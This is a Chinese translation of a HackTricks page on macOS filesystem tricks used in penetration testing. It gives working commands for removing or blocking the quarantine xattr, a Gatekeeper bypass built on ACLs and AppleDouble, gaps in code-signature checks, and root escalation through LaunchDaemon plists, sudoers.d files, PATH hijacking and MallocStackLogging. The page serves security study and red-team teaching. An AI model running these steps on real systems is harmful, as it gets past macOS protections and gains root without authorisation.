hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks
2024-04-06 18:13:07 +00:00
..
macos-xattr-acls-extra-stuff.md GitBook: No commit message 2024-04-06 18:13:07 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-03-28 17:35:45 +00:00

macOS FS 技巧

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

POSIX 权限组合

目录中的权限:

  • 读取 - 您可以枚举目录条目
  • 写入 - 您可以在目录中删除/写入文件,还可以删除空文件夹
  • 但是,除非您拥有写入权限,否则无法删除/修改非空文件夹
  • 除非您拥有它,否则无法修改文件夹的名称
  • 执行 - 您被允许遍历目录 - 如果您没有此权限,您无法访问其中的任何文件,或任何子目录中的文件。

危险组合

如何覆盖由 root 拥有的文件/文件夹,但:

  • 路径中的一个父目录所有者是用户
  • 路径中的一个父目录所有者是具有写入访问权限用户组
  • 一个用户文件具有写入访问权限

使用上述任何组合,攻击者可以注入一个符号链接/硬链接到预期路径,以获取特权任意写入。

文件夹根目录 R+X 特殊情况

如果有文件在目录中,其中只有 root 具有 R+X 访问权限,那些文件对其他人不可访问。因此,如果存在一个漏洞允许将用户可读的文件(由于该限制而无法读取)从此文件夹移动到另一个文件夹,则可能被滥用以读取这些文件。

示例:https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

符号链接 / 硬链接

如果一个特权进程正在写入文件,该文件可能被低权限用户控制,或者可能是由低权限用户先前创建的。用户只需通过符号链接或硬链接将其指向另一个文件,特权进程将写入该文件。

请查看其他部分,攻击者可能滥用任意写入以提升权限

.fileloc

具有**.fileloc**扩展名的文件可以指向其他应用程序或二进制文件,因此当打开它们时,将执行该应用程序/二进制文件。
示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

任意FD

如果你可以让一个进程以高权限打开一个文件或文件夹,你可以滥用**crontab来打开/etc/sudoers.d中的一个文件,使用EDITOR=exploit.py**,这样exploit.py将获得/etc/sudoers中文件的FD并滥用它。

例如:https://youtu.be/f1HA5QhLQ7Y?t=21098

避免quarantine xattrs技巧

删除它

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable标志

如果文件/文件夹具有此不可变属性则无法在其上放置xattr

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs 挂载

devfs 挂载不支持 xattr,更多信息请参考 CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

此ACL防止向文件添加xattrs

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble文件格式会复制文件及其ACEs。

源代码中,可以看到存储在名为**com.apple.acl.text的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此如果您将一个应用程序压缩成一个使用ACL阻止其他xattr写入的AppleDouble**文件格式的zip文件... 那么隔离xattr就不会设置到应用程序中

查看原始报告以获取更多信息。

要复制这一情况首先需要获取正确的acl字符串

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(请注意,即使这样也会在沙箱写入隔离标签)

并不是真的需要,但我还是留在那里以防万一:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

绕过代码签名

捆绑包包含文件 _CodeSignature/CodeResources,其中包含捆绑包中每个文件哈希值。请注意CodeResources的哈希值也嵌入在可执行文件中,因此我们无法对其进行更改。

然而,有一些文件的签名不会被检查,这些文件在属性列表中具有省略键,如下所示:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

可以使用以下命令行计算资源的签名:

{% code overflow="wrap" %}

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

挂载dmgs

用户可以挂载一个自定义的dmg甚至可以覆盖一些现有文件夹。以下是如何创建一个带有自定义内容的自定义dmg包的方法

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

{% endcode %}

通常 macOS 会通过与 com.apple.DiskArbitration.diskarbitrationd Mach 服务通信(由 /usr/libexec/diskarbitrationd 提供)来挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 -d 并重新启动,它将会将日志存储在 /var/log/diskarbitrationd.log 中。
然而,可以使用诸如 hdikhdiutil 这样的工具直接与 com.apple.driver.DiskImages kext 进行通信。

任意写入

定期 sh 脚本

如果您的脚本可以被解释为 shell 脚本,则可以覆盖 /etc/periodic/daily/999.local shell 脚本,该脚本将每天触发一次。

您可以使用以下命令伪造对此脚本的执行:sudo periodic daily

守护程序

编写一个任意的 LaunchDaemon,如 /Library/LaunchDaemons/xyz.hacktricks.privesc.plist,其中包含执行任意脚本的 plist如下所示

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

生成脚本 /Applications/Scripts/privesc.sh,其中包含您希望以 root 权限运行的命令

Sudoers 文件

如果您拥有任意写入权限,您可以创建一个文件在文件夹 /etc/sudoers.d/ 中,授予自己sudo权限。

PATH 文件

文件 /etc/paths 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果特权进程的脚本执行一些没有完整路径的命令,您可能可以通过修改此文件来劫持它。

您还可以在 /etc/paths.d 中编写文件,以将新文件夹加载到 PATH 环境变量中。

生成其他用户可写文件

这将生成一个属于 root 的文件,我可以对其进行写入操作(代码在此处)。这也可能作为权限提升操作:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

参考资料

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式